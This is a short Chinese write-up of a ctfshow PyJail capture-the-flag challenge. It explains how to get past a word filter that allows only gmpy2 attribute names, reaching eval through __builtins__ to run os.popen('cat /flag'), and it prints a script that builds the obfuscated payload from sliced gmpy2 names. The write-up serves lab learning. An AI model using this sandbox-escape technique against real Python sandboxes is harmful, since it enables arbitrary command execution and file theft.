ctfshow菜狗杯算力升级(PyJail)
考点:python沙箱逃逸
推荐文章:春哥-----https://zhuanlan.zhihu.com/p/578966149
该题目主要是绕过
pattern=re.compile(r'\w+')
code=request.form.get('code')
for item in pattern.findall(code):#从code里把单词拿出来
if not re.match(r'\d+$',item):#如果不是数字
if item not in dir(gmpy2):#逐个和gmpy2库里的函数名比较
return jsonify({"result":1,"msg":f"你想干什么?{item}不是有效的函数"})
注意:request.form.get可不是获取get请求的数据。
该题目主要利用了符合上面规定的字符串拼接出:
gmpy2.__builtins__['eval']("__import__('os').popen('cat /flag').read()")
下面附上官方wp脚本。
s="__import__('os').popen('cat /flag').read()"
import gmpy2
payload="gmpy2.__builtins__['erf'[0]+'div'[2]+'ai'[0]+'lcm'[0]]("
for i in s:
if i not in "/'(). ":
temp_index=0
temp_string='x'*20
for j in dir(gmpy2):
if j.find(i)>=0:
if len(j)<len(temp_string):
temp_string=j
temp_index=j.find(i)
payload+=f'\'{temp_string}\'[{temp_index}]+'
else:
payload+=f'\"{i}\"+'
payload=payload[:-1]+')'
print(payload)
更多细节可参考yu师傅blog